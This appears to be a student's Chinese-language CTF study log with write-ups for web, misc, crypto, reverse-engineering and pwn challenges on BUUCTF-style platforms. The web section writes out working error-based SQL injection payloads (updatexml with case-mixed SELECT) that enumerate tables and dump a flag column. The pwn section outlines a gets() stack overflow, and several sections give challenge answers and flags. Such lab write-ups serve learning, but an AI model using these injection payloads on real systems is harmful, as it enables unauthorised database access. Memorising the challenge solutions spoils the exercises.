寒假1.18
web(报错注入)
[第一章 web入门]SQL注入-2
题解:
打开是个403界面,还以为没开成
通过题目提示,访问/login.php /user.php
合在一起访问屁都没有,分开访问,/login.php回显:
/user.php回显:
尝试在url后加入?id=1,没有用
查看源代码得到这么一句话,有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入
使用提示的方法,使用普通payload,dual用于测试数据库是否可以正常使用,随便输入一个密码,在url后加入?tips=1,重新发包,从提示可看出select被过滤了
name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=123
尝试大小写绕过,成功注入,说明是字符型注入
name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+
查表名,存在两张表,猜测在fl4g中
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+
查字段 ,看到flag了
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+
查看字段获取flag
name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+
misc
buuctf-伟大的侦探
下载附件后解压,需要密码
取消后打开看,有一个.txt文件可查看,打开是一个EBCDIC编码
注意这里不能复制粘贴过来,直接把文件拖进来才可以
在视图里修改编辑方式为EBCDIC编码(也不知道为什么是这个编码,就当是积累经验了)
输入密码解压,一堆乱七八糟的小人
搜索之后得知这出自《福尔摩斯探密集》跳舞的小人
手搓一下flag就出来了
flag{iloveholmesandwllm}
crypto
BUUCTF-异性相吸
解压后得到两个.txt文件,有点怀疑会不会跟misc那题一样是EBCDIC编码
看了别人的wp,得知题目强调“异性”,“异”指的即为一种不同的、对立的东西,而计算机中最先接触的对立的东西即为0和1,所以先将密文和key都转为二进制
key:
0110000101110011011000010110010001110011011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011000010111001101100100011100010111011101100101011100110111000101100110
密文:
0000011100011111000000000000001100001000000001000001001001010101000000110001000001010100010110000100101101011100010110000100101001010110010100110100010001010010000000110100010000000010010110000100011000000110010101000100011100000101010101100100011101010111010001000001001001011101010010100001010000011011
因为两个的二进制位数相同,根据“相吸”两字,推测密文和秘钥相对应的每一位二进制之间相同为0,不同为1,也就是异或
找一个在线工具把异或解决了
再二进制转文本,即可得到flag
reverse
BUUCTF-[GWCTF 2019]pyre
前置知识:.pyc文件
pyc文件是一种二进制文件,是由py文件经过编译后生成的文件,是一种byte code字节码,可以提高加载速度,且是一种跨平台的字节码,可以由python的虚拟机来执行
且pyc的内容与python版本相关,执行的python版本需要与编译pyc的python的版本相同
pyc文件还可以防止源码泄露,也就是说我们直接打开pyc是看不到源码的,需要使用反编译工具
题解:
下载后发现是一个.pyc文件,但是ida打不开,可以直接找一个在线工具解密
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
for i in range(l):
num = ((input1[i] + i) % 128 + 128) % 128
code += num
for i in range(l - 1):
code[i] = code[i] ^ code[i + 1]
print code
code = [
'%1f',
'%12',
'%1d',
'(',
'0',
'4',
'%01',
'%06',
'%14',
'4',
',',
'%1b',
'U',
'?',
'o',
'6',
'*',
':',
'%01',
'D',
';',
'%',
'%13']
第一个for循环:获取input1的每个字符的ASCII码,并将其与当前索引i相加,除以128取模,再加上128后再次除以128取模
第二个for循环:对code列表中相邻的元素进行异或操作,并将结果重新赋值给前一个元素
编写脚本进行逆操作,这里得注意,要将%改为\x才可运行代码,但是单独的%不需要改
参考博客:【BUUCTF-Reverse】0x10.[GWCTF 2019]pyre-CSDN博客 BUUCTF-[GWCTF 2019]pyre-CSDN博客
pwn
buuctfciscn_2019_n_1
前置知识:
setvbuf函数:
属于c库函数,可定义流stream应如何缓冲
int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
stream: 指向FILE对象的指针,该FILE对象标识了一个打开的流
buffer:分配给用户的缓冲。如果设置为NULL,该函数会自动分配一个指定大小的缓冲
mode:指定了文件缓冲的模式(全缓冲,行缓冲,无缓冲)
size:缓冲的大小,以字节为单位
如果成功,则该函数返回 0,否则返回非零值。
常见的栈溢出函数:
read()、write()、gets()、strcpy()和memcpy()和strncpy()、printf()和scanf()
具体用法和注意事项:从缓冲系统文件到常见栈溢出函数_存在栈溢出的函数-CSDN博客
题解:
先在exeinfope中查看,无壳,64位,.elf文件
ida64打开,找到主函数main,f5反汇编
func函数和昨天那题gets函数的位置有点相似,查看一下func函数,找到了gets()函数和system()函数
v2先定义为0.0
这里需要使v2的值为11.28125才可返回system函数
gets(&v1)函数没有限制v1的大小,双击v1查看一下栈区
思路:通过gets函数覆盖var_4的值为11.28125,转一下进制,注意是浮点数
编写exp运行即可得到flag